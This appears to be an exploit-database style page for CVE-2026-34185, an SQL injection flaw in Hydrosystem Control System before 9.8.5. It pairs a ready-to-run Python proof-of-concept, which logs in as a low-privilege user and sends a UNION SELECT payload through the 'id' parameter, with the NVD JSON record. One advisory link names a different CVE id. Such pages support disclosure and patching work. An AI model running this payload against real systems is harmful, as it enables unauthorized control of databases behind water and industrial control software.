CVE-2026-34185

import requests # Target URL configuration target_url = "http://target-hydrosystem/vulnerable_endpoint" login_url = "http://target-hydrosystem/login" # Attacker credentials with low privilege credentials = { "username": "low_priv_user", "password": "password123" } # Initialize session to maintain cookies session = requests.Session() try: # Step 1: Authenticate to the system print("[*] Attempting to login...") login_resp = session.post(login_url, data=credentials) if login_resp.status_code != 200: print("[-] Login failed") exit() print("[+] Login successful") # Step 2: Exploit SQL Injection # The application does not sanitize input, allowing arbitrary SQL commands. # Payload attempts to extract the database version. injection_payload = "1' UNION ALL SELECT NULL, version(), NULL-- -" params = { "id": injection_payload # Vulnerable parameter 'id' } print(f"[*] Sending payload: {injection_payload}") exploit_resp = session.get(target_url, params=params) # Step 3: Check for exploitation indicators if exploit_resp.status_code == 200: print("[+] Request sent successfully.") # Analyze response content for database version or errors if "mysql" in exploit_resp.text.lower() or "postgres" in exploit_resp.text.lower(): print("[+] Potential SQL Injection confirmed based on response.") else: print("[!] Response received, verify output manually.") else: print("[-] Exploit request failed") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-34185", "sourceIdentifier": "[email protected]", "published": "2026-04-09T10:16:22.260", "lastModified": "2026-04-20T17:05:51.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hydrosystem Control System is vulnerable to SQL Injection across most scripts and input parameters. Because no protections are in place, an authenticated attacker can inject arbitrary SQL commands, potentially gaining full control over the database.This issue was fixed in Hydrosystem Control System version 9.8.5"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hydrosystem.poznan:control_system:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.8.5", "matchCriteriaId": "C9D6B388-FD5C-486B-9493-E99D5499652D"}]}]}], "references": [{"url": "https://cert.pl/posts/2026/04/CVE-2026-4901/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.hydrosystem.poznan.pl/", "source": "[email protected]", "tags": ["Product"]}]}}